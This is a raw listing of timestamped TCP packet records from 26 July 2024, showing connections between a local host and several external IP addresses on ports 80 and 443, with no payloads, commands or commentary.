Jul 26, 2024 08:57:57.603614092 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.604343891 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.604511976 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.604779959 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.604835987 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.605051041 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.605175972 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.605501890 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.605580091 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.612241030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612272978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612289906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612318993 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.612423897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612441063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612457037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612472057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612770081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612786055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612801075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612816095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612831116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612844944 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612860918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612874985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.612922907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613254070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613270998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613384008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613399982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613415956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613543987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613558054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613574028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613588095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613603115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613616943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613631964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613646984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613660097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613676071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.613691092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614409924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614425898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614439964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614454985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614469051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614485025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614499092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614514112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.614528894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.615077972 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.615269899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.615269899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.615319014 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.617008924 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.617628098 CEST	443	49769	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.617902040 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.617923975 CEST	443	49769	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.618247986 CEST	443	49769	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.618588924 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.618674040 CEST	443	49769	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.665102005 CEST	49769	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.682315111 CEST	49772	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.682379961 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.682383060 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.682393074 CEST	443	49770	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.682399988 CEST	443	49771	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:57.764429092 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.769438982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.882931948 CEST	49771	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.882936954 CEST	49770	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:57.903722048 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:57.904028893 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:57.904055119 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:57.905531883 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:57.905601978 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:57.906817913 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:57.906902075 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:57.907005072 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:57.952493906 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:57.953769922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.953829050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.953850031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.953866959 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.953898907 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.953927994 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.954013109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954026937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954041958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954056978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954122066 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.954122066 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.954303980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954312086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954325914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954341888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954365969 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.954394102 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.954720020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954735041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954749107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954762936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954763889 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.954778910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954793930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954807997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954814911 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.954822063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954837084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.954854012 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.954898119 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.955343962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.955358982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.955373049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.955394983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.955418110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.955431938 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.955457926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.955471039 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.955473900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.955544949 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.955544949 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.956334114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956348896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956365108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956377983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956392050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956406116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956418037 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.956419945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956435919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956449032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956463099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956478119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956513882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956530094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.956598043 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.956598043 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.957269907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957285881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957308054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957321882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957334995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957353115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957360983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957367897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957375050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957377911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957384109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957390070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957403898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957612991 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.957654953 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.957808018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.957990885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958005905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958014011 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958029032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958072901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958086967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958101034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958113909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958128929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958141088 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.958142996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958158970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958173037 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.958204985 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.958945990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.958961010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.959012032 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.959106922 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:57.959125042 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.959129095 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:57.991970062 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:57.994384050 CEST	80	49773	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:57.995702028 CEST	49773	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:57.995814085 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:57.995836973 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:57.996217966 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:57.997071028 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:57.997077942 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:57.997195005 CEST	49773	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:57.997481108 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:57.999512911 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:57.999821901 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:57.999871969 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.002422094 CEST	80	49773	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:58.005949974 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.025736094 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.025866032 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.026233912 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.026246071 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.026921034 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027009964 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027095079 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027182102 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027261972 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027340889 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027419090 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027510881 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027537107 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.027544975 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.027677059 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.028177977 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.032780886 CEST	443	49775	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:58.032869101 CEST	49775	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.033504963 CEST	443	49775	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:58.033550024 CEST	49775	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.038320065 CEST	49775	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.038332939 CEST	443	49775	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:58.038420916 CEST	49775	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.038491011 CEST	443	49775	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:58.038578987 CEST	49775	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.070559978 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.083363056 CEST	443	49776	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:58.083506107 CEST	49776	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.084085941 CEST	443	49776	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:58.085257053 CEST	49776	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.085869074 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:58.085895061 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.089096069 CEST	49776	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.089111090 CEST	443	49776	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:58.089163065 CEST	49776	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.089262962 CEST	443	49776	216.58.212.142	192.168.2.7
Jul 26, 2024 08:57:58.090425968 CEST	49776	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:57:58.117544889 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.117930889 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.118175030 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.118256092 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.118736029 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.118794918 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.118871927 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.119551897 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.119648933 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.120315075 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.120395899 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.120544910 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.121014118 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.121093035 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.121762991 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.121845007 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.121921062 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.122555971 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.122648001 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.131455898 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.131489038 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.131839991 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.132164955 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.213336945 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.213527918 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.213617086 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.213701010 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.214231968 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.214557886 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.219325066 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.220921993 CEST	49777	443	192.168.2.7	142.250.80.3
Jul 26, 2024 08:57:58.220937014 CEST	443	49777	142.250.80.3	192.168.2.7
Jul 26, 2024 08:57:58.273627996 CEST	80	49773	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:58.278882980 CEST	49773	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:58.281676054 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:58.410165071 CEST	49779	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:58.411362886 CEST	49773	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:58.417155981 CEST	80	49779	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:58.417246103 CEST	49779	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:58.417380095 CEST	49779	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:58.418369055 CEST	80	49773	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:58.418447018 CEST	49773	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:58.424354076 CEST	80	49779	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:58.460709095 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:58.465639114 CEST	80	49751	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:58.634489059 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.634521008 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.634526968 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.634540081 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.634546041 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.634552002 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.634804010 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:58.634829998 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.635050058 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:58.644784927 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:58.644818068 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:58.649704933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:58.649719000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:58.731525898 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.731539965 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.731558084 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.731573105 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.731586933 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.731597900 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.733195066 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.733205080 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.733232021 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.733236074 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.733237982 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.733253002 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.736582041 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:58.736604929 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.736833096 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:58.736840010 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:58.736860991 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:58.736875057 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.054665089 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.054703951 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.054753065 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.055711031 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.055744886 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.055756092 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.055804968 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.056149006 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.056155920 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.056184053 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.056196928 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.056914091 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.056922913 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.056941986 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.056948900 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.060442924 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.060451031 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.061741114 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.061929941 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.063404083 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.063410044 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.063441992 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.063446999 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.063473940 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.063482046 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.063527107 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.064873934 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.064887047 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.064908028 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.064917088 CEST	443	49774	13.107.21.237	192.168.2.7
